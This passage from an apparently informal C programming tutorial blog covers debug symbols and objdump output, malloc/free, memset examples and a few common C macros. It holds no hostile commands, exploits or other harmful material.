crash or refuse to read the program. If you want to control for certain
whether to generate the extra information, use -gstabs+, -gstabs, 
-gxcoff+, -gxcoff, or -gvms (see below).
 
GCC allows you to use -g with -O. The shortcuts taken by optimized code 
may occasionally produce surprising results: some variables you declared 
may not exist at all; flow of control may briefly move where you did not expect
it; some statements may not be executed because they compute constant results
or their values were already at hand; some statements may execute in different 
places because they were moved out of loops.
 
Nevertheless it proves possible to debug optimized output. This makes it 
reasonable to use the optimizer for programs that might have bugs.

Compiling with the -g option just includes debugging information for objdump to interpret. There are a few basic commands that can be used, I haven’t delved too deeply into it, but the few main ones I use are -a, -S, -t.

Use ‘objdump -t’ To Display Symbols

The symbol table is a data structure used by the compiler, where each identifier in the program’s source code is associated with information relating to its declaration or appearance in the source, such as its type, scope level and sometimes its location. Using objdump -t on our binary we can view the symbol table.

$ objdump -t get_test
 
get_test:     file format elf32-i386
 
SYMBOL TABLE:
08048114 l    d  .interp        00000000              .interp
08048128 l    d  .note.ABI-tag  00000000              .note.ABI-tag
08048148 l    d  .hash  00000000              .hash
08048178 l    d  .dynsym        00000000              .dynsym
080481e8 l    d  .dynstr        00000000              .dynstr
08048244 l    d  .gnu.version   00000000              .gnu.version
08048254 l    d  .gnu.version_r 00000000              .gnu.version_r
08048274 l    d  .rel.dyn       00000000              .rel.dyn
08048284 l    d  .rel.plt       00000000              .rel.plt
...

The first column represents where in memory these exist, the second column is the symbol type, and third is the type of symbol. While this is useful, I find the -S flag to be the most useful. This intermixes source code with disassembly.

Display Code Intermixed With Assembly Using ‘objdump -S’

This is by far my favourite output from objdump. For instance:

$ objdump -S get_test
int main()
{
 80483b4:       8d 4c 24 04             lea    0x4(%esp),%ecx
 80483b8:       83 e4 f0                and    $0xfffffff0,%esp
 80483bb:       ff 71 fc                pushl  0xfffffffc(%ecx)
 80483be:       55                      push   %ebp
 80483bf:       89 e5                   mov    %esp,%ebp
 80483c1:       51                      push   %ecx
 80483c2:       83 ec 24                sub    $0x24,%esp
        char c;
        for(;;){
                c=getchar();
 80483c5:       e8 02 ff ff ff          call   80482cc <getchar@plt>
 80483ca:       88 45 fb                mov    %al,0xfffffffb(%ebp)
                if(c == 'q')

As you can see in this example there is C code intermixed with the assembly language used behind the scenes. I think this output is the most useful because it allows you to compare your C code with the assembly the compiler has produced. Hopefully this has given you a few examples of the ways to retrieve your assembly code for your program.

Dynamic Memory Allocation With malloc In C

Memory allocation on the fly can be done using the malloc function call. This is usually done when a dynamic amount of memory is required that cannot be decided prior to program execution. Malloc is the way to achieve this. The programmer must be diligent in allocating the correct amount of memory, type cast it appropriately, and remember to free it after usage. Otherwise this memory may be leaked during execution.

This article will outline the usage of malloc, how to free that memory after the fact, and how to avoid dangling pointers and invalid memory access.

How Do I Allocate Memory?

Most people are familiar with allocating an array of 10 integers:

int data[10];

But what if we actually need 12 integers or 15, what then? This is where malloc comes in. Its defintion is:

void *malloc(size_t size);

malloc return a void *, meaning we can cast this memory to whatever type we need. It takes a size as its argument, in this case the number of bytes we need. Here is an example of allocating 12 integers. If you want more examples of using fprintf follow this link.

#include <stdio.h>
#include <stdlib.h>
 
int main()
{
        int *data_ptr;
        data_ptr = (int *)malloc(sizeof(int) * 12);
 
        if(data_ptr == NULL){
                fprintf(stderr, "Could not allocate memory.\n");
                return -1;
        }
 
        data_ptr[0] = 5;
        data_ptr[1] = 3;
 
        fprintf(stdout, "%u\n",data_ptr[0]);
 
        // Cleanup our allocated memory
        free(data_ptr);
        data_ptr = NULL;
 
        return 0;
}

There a few things to note in this example:

  1. Malloc returns NULL on error. This must be checked! Do not just point randomly.
  2. I reference our pointer using the same syntax as if I allocated the memory statically.
  3. During our cleanup I call free. free() returns no error, and takes the pointer in which memory was allocated to.
  4. I set the pointer to NULL after I free the memory. This ensure no dangling pointer.

Allocating memory can be done for any type required, as behind the scenes you are simply allocating bytes. In the example above we used the sizeof function. This is imperative that we use this function, because in some cases a long is 8 bytes on one system where a long on another system is only 4 bytes. When we use sizeof we let the system tell us how the size of the type, and thus we multiply it by how many of those we need. In our example we needed 12 integers, without having to know the actual byte size behind the scenes.

If you want to do something more complicated, you can try dynamically allocate structures using malloc.

C ‘memset’ Examples

Have you ever created an array and manually set its values? Imagine doing that for an array of size 1000…madness! This is where memset comes in. Memset is used to set an arbitrary array size with a value specified by you. Perhaps you have a multi-dimensional array used for a chess board mapping, initially you require the array to be filled with ‘\0′ characters, if you have a very large array it would not make sense to do this manually even creating a for-loop to fill the values does not make sense. Memset is also useful for zeroing out a C structure that you may have just malloc‘ed as well, just to ensure its contents are as they should be.

The memset function is quite basic.

// Header
#include <string.h>
 
// Definition
void *memset(void *s, int c, size_t n);

The memset function takes three arguments. The first argument is a pointer (notice the void *) to whatever data type you are planning to set, the second argument is the specific value you are going to set your data with; there is however a catch in that memset will convert your integer value into an unsigned char when writing the data. The third argument is how many of those specific values are needed.

Well that sounded like mumbo jumbo. I always find concrete examples more useful…sooo..without further ado:

Memset An Integer Array

#include <string.h>
#include <stdio.h>
 
#define DATA_SIZE 10
 
int main(int argc, char **argv)
{
  int i, data[DATA_SIZE];
 
  memset(data,0,sizeof(data));
 
  // Print out array
  for(i = 0; i < DATA_SIZE; i++)
          fprintf(stdout, "data[%u]: %u\n",i,data[i]);
 
  return 0;
}
----- Our Output -----
$ ./memset_t 
data[0]: 0
data[1]: 0
data[2]: 0
data[3]: 0
data[4]: 0
data[5]: 0
data[6]: 0
data[7]: 0
data[8]: 0
data[9]: 0

Lets look at my memset invocation (line 10 above). The first argument is my ‘data’ array that I created, my second argument is ’0′ as I am zeroing out my array, and the third argument is the size of my data (size of an integer (4 bytes) x 10 of them), so 40 bytes of data. Make sure to use the sizeof macro, especially if you are dealing with longs as they differ on a 32bit versus a 64bit machine.

The memset function is mostly used to clear data before use, that being said, you can overwrite anything you want really. If you have a string with a set of characters, you can use memset to overwrite them.

Memset A String

#include <stdio.h>
#include <string.h>
 
int main(int argc, char **argv)
{
  char data_str[] = "The wheels on the bus go round and round.";
  memset (data_str,'*',10);
 
  fprintf(stdout, "%s\n",data_str);
  return 0;
}
----- Our Output -----
$ ./memset_t 
********** on the bus go round and round.

In this example I used the * character as my value, and replaced the first 10 bytes with stars, hence the output.

If you have a C structure you would like to zero out, remember a structure is simply variables set in a line in memory (usually byte aligned), so we can use memset for that as well, for example:

Memset A C Structure

struct ifreq ifr;
 
memset(&ifr, 0, sizeof(ifr));  // clear ifreq structure

Just remember to use the sizeof macro ensuring you have covered the correct size of memory when using memset. Now go memset stuff!

Commonly Used C Macros

I often find myself copying and pasting C macros from one program to another. Evidently I end up using these macros more often than I thought. So I thought I would share these useful macros with you. I will write about C macros later, C debugging macros and a guide to using C macros in your code. I find them quite useful, but how do macros affect the final product?

A macro (if not C99) is actually an inline expansion of your code. This means that the compiler will insert this code block directly into every spot you refer to the macro, rather than referencing the code block via a memory location. This can save pointer referencing and in some cases your code will be more efficient. You cannot, however, ensure this is the case the compiler may make decisions that it believes will be more efficient. None the less here is a list of some useful macros.

A Macro To Detect File Presence

Rather than attempting to open a file, you can use this macro:

#define exists(filename) (!access(filename, F_OK))

In your code you can then do something like:

if(exists("data.txt"))
  .. open file ...
else

Get The Size of An Array of Arbitrary Type

There are some instances where you don’t actually know the size of your array. This handy macro will tell you the size of your array, i.e. how many elements are in it:

#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))

This example utilizes the sizeof operator. You can use this macro as such:

int data[50];
fprintf(stdout, "Array size: %u\n",ARRAY_SIZE(data));

Min and Max

The always handy minimum and maximum macros will return the smaller or the larger of two items. These items can be of an arbitrary type, as long as they are the same type.

#define min(x,y) ({ \
	typeof(x) _x = (x);     \
	typeof(y) _y = (y);     \
	(void) (&_x == &_y);    \
	_x < _y ? _x : _y; })
 
 
#define max(x,y) ({ \
	typeof(x) _x = (x);     \
	typeof(y) _y = (y);     \
	(void) (&_x == &_y);    \
	_x > _y ? _x : _y; })

To use these macros, is much like any other:

int main()
{
  int a,b;
  a=5;
  b=12;
 
  fprintf(stdout, "%u\n", min(a,b));
  return 0;
}
$ ./min 
5

Voila, here are a few of the macros I find myself commonly using.